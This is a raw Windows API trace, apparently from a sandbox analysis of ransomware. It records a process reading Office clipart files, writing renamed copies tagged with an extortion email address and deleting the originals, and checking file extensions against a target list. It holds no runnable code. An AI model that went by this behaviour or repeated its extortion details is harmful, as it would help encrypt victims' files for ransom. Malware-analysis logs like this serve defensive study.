1 [0179.049] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.049] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.049] SetEndOfFile (hFile=0x3a4) returned 1 [0179.051] CloseHandle (hObject=0x3a4) returned 1 [0179.053] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.053] SetEndOfFile (hFile=0x2fc) returned 1 [0179.055] CloseHandle (hObject=0x2fc) returned 1 [0179.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf")) returned 1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".doc") returned 4 [0179.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString=".docx") returned 5 [0179.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.058] lstrlenW (lpString=".pdf") returned 4 [0179.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString=".xls") returned 4 [0179.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.058] lstrlenW (lpString=".xlsx") returned 5 [0179.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.058] lstrlenW (lpString=".ppt") returned 4 [0179.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".zip") returned 4 [0179.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.058] lstrlenW (lpString=".rar") returned 4 [0179.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString=".bz2") returned 4 [0179.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString=".7z") returned 3 [0179.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".dbf") returned 4 [0179.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".1cd") returned 4 [0179.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".jpg") returned 4 [0179.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.058] lstrlenW (lpString=".doc") returned 4 [0179.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString=".docx") returned 5 [0179.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.059] lstrlenW (lpString=".pdf") returned 4 [0179.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString=".xls") returned 4 [0179.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.059] lstrlenW (lpString=".xlsx") returned 5 [0179.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.059] lstrlenW (lpString=".ppt") returned 4 [0179.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.059] lstrlenW (lpString=".zip") returned 4 [0179.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.059] lstrlenW (lpString=".rar") returned 4 [0179.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString=".bz2") returned 4 [0179.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString=".7z") returned 3 [0179.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.059] lstrlenW (lpString=".dbf") returned 4 [0179.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.059] lstrlenW (lpString=".1cd") returned 4 [0179.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 68 [0179.059] lstrlenW (lpString=".jpg") returned 4 [0179.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.059] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.059] lstrlenW (lpString="PE00231_.WMF") returned 12 [0179.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.063] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2228) returned 1 [0179.063] CloseHandle (hObject=0x300) returned 1 [0179.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf")) returned 0x220 [0179.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.068] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.068] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.070] GetLastError () returned 0x0 [0179.070] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0179.072] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0179.073] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.073] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.073] SetEndOfFile (hFile=0x370) returned 1 [0179.075] CloseHandle (hObject=0x370) returned 1 [0179.077] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.077] SetEndOfFile (hFile=0x300) returned 1 [0179.079] CloseHandle (hObject=0x300) returned 1 [0179.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf")) returned 1 [0179.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.082] lstrlenW (lpString=".doc") returned 4 [0179.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.082] lstrlenW (lpString=".docx") returned 5 [0179.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.082] lstrlenW (lpString=".pdf") returned 4 [0179.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.082] lstrlenW (lpString=".xls") returned 4 [0179.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.082] lstrlenW (lpString=".xlsx") returned 5 [0179.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.082] lstrlenW (lpString=".ppt") returned 4 [0179.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.082] lstrlenW (lpString=".zip") returned 4 [0179.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.082] lstrlenW (lpString=".rar") returned 4 [0179.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.082] lstrlenW (lpString=".bz2") returned 4 [0179.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.082] lstrlenW (lpString=".7z") returned 3 [0179.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.082] lstrlenW (lpString=".dbf") returned 4 [0179.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".1cd") returned 4 [0179.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".jpg") returned 4 [0179.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".doc") returned 4 [0179.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString=".docx") returned 5 [0179.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.083] lstrlenW (lpString=".pdf") returned 4 [0179.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString=".xls") returned 4 [0179.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.083] lstrlenW (lpString=".xlsx") returned 5 [0179.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.083] lstrlenW (lpString=".ppt") returned 4 [0179.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".zip") returned 4 [0179.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.083] lstrlenW (lpString=".rar") returned 4 [0179.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString=".bz2") returned 4 [0179.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString=".7z") returned 3 [0179.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".dbf") returned 4 [0179.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".1cd") returned 4 [0179.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 68 [0179.083] lstrlenW (lpString=".jpg") returned 4 [0179.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.083] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.084] lstrlenW (lpString="PE00485_.WMF") returned 12 [0179.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.087] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16676) returned 1 [0179.087] CloseHandle (hObject=0x368) returned 1 [0179.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf")) returned 0x220 [0179.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.091] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.094] GetLastError () returned 0x0 [0179.094] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4124, lpOverlapped=0x0) returned 1 [0179.098] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4130, lpOverlapped=0x0) returned 1 [0179.099] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.099] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.099] SetEndOfFile (hFile=0x3a4) returned 1 [0179.100] CloseHandle (hObject=0x3a4) returned 1 [0179.100] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.100] SetEndOfFile (hFile=0x368) returned 1 [0179.101] CloseHandle (hObject=0x368) returned 1 [0179.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf")) returned 1 [0179.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.103] lstrlenW (lpString=".doc") returned 4 [0179.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString=".docx") returned 5 [0179.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.103] lstrlenW (lpString=".pdf") returned 4 [0179.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString=".xls") returned 4 [0179.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.103] lstrlenW (lpString=".xlsx") returned 5 [0179.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.103] lstrlenW (lpString=".ppt") returned 4 [0179.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.103] lstrlenW (lpString=".zip") returned 4 [0179.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.103] lstrlenW (lpString=".rar") returned 4 [0179.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString=".bz2") returned 4 [0179.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString=".7z") returned 3 [0179.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.103] lstrlenW (lpString=".dbf") returned 4 [0179.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".1cd") returned 4 [0179.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".jpg") returned 4 [0179.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".doc") returned 4 [0179.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString=".docx") returned 5 [0179.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.104] lstrlenW (lpString=".pdf") returned 4 [0179.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString=".xls") returned 4 [0179.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.104] lstrlenW (lpString=".xlsx") returned 5 [0179.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.104] lstrlenW (lpString=".ppt") returned 4 [0179.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".zip") returned 4 [0179.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.104] lstrlenW (lpString=".rar") returned 4 [0179.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString=".bz2") returned 4 [0179.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString=".7z") returned 3 [0179.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".dbf") returned 4 [0179.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".1cd") returned 4 [0179.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 68 [0179.104] lstrlenW (lpString=".jpg") returned 4 [0179.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.104] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.105] lstrlenW (lpString="PE00555_.WMF") returned 12 [0179.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.107] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5132) returned 1 [0179.107] CloseHandle (hObject=0x370) returned 1 [0179.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf")) returned 0x220 [0179.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.117] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.117] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.118] GetLastError () returned 0x0 [0179.118] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x140c, lpOverlapped=0x0) returned 1 [0179.120] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1410, lpOverlapped=0x0) returned 1 [0179.120] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.120] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, 